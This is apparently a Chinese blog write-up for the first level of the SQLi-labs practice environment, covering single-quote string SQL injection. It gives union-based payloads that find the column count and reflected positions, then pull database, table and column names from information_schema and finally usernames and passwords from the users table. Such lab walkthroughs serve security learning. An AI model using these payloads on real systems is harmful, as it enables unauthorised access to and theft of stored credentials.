SQLI-labs-第一关

知识点:单引号字符型注入

思路:

1、根据提示,为get注入,在url中输入内容
2、判断注入点

输入?id=1',显示数据库语句错误,说明这里存在sql注入漏洞

输入?id=1' and 1=1 --+ ,回显正常,因为--+是注释符,把原本sql语句后面的单引号(')注释掉了,所以整句sql语句是这样的:

SELECT * FROM users WHERE id='1' and 1=1 --+' LIMIT 0,1(红色部分会注释掉)

输入and 1=2 ,结果没有正常回显出来,但是sql语句的语法是正确的,所以不会爆sql语法错误

3、判断目前该表的字段数

使用order by 语句,?id=1' order by 1 --+ 从1尝试到报错

这里尝试到3不会报错,到4就报错,说明有3个字段

4、判断回显位置

?id=1' and 1=2 union select 1,2,3 --+

因为有三个字段,所以我们是select 1,2,3 ,为什么是and 1=2呢?是因为1=1是ture,结合整改语句,它会回显本来的值,改成1=2,则会回显后面的语句(select 1,2,3),就会把相应的值回显出来(两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)

通过结果我们可以知道,2跟3都是值回显的位置,我们可以在 2或3 的位置构造数据库语句,爆出我们想要的值

5、爆库名

?id=1' and 1=2 union select 1,2,database() --+

6、爆表名

这时候需要用到函数group_concat()和MySQL的系统表information_schema

group_concat()完整语法如下:

复制代码
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])

数据库版本再5.0以上时,information_schema数据库里面拥有库名、表名字段

?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

7、爆字段名

以爆user表的字段为例

?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

8、爆值

从前面我们得到数据库的库名、表名、字段名,我们接下来使用concat_ws()这个函数进行爆值

concat_ws(sep,s1,s2,s3...):将s1,s2,s3连接成字符串,并用sep字符间隔

?id=1' and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1 --+

有些数据库的类型有长度限制,所以我们不能一下子把所有数据爆出来,通过limit语句,一句一句爆

以此类推,你就可以得到该数据库的所有数据


这篇文章就先写到这里了,哪里不好的请批评指正!

相关推荐
eWidget5 小时前
InfluxDB迁移至金仓数据库的同城容灾实践:性能显著提升、运维效率优化,某能源企业实现RPO_5秒的高可靠时序数据管理
运维·数据库·能源·时序数据库·kingbase·kingbasees·金仓数据库
小句6 小时前
MySQL慢查询日志详细使用指南
数据库·mysql·adb
老邓计算机毕设6 小时前
SSM医疗资源普查6qxol(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·ssm 框架·javaweb开发·医疗资源管理
dyyx1116 小时前
如何从Python初学者进阶为专家?
jvm·数据库·python
码农水水7 小时前
中国邮政Java面试被问:容器镜像的多阶段构建和优化
java·linux·开发语言·数据库·mysql·面试·php
曹牧7 小时前
Oracle:NULL
数据库·oracle
龙之叶7 小时前
【Android Monkey源码解析五】- 异常处理
android·数据库
马克学长8 小时前
SSM医院门诊管理系统u4pw5(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·ssm 框架·javaweb 开发·门诊管理
TDengine (老段)8 小时前
使用安装包快速体验 TDengine TSDB
大数据·数据库·物联网·时序数据库·tdengine·涛思数据
闻哥9 小时前
Redis 避坑指南:从命令到主从的全链路踩坑实录
java·数据库·redis·缓存·面试·springboot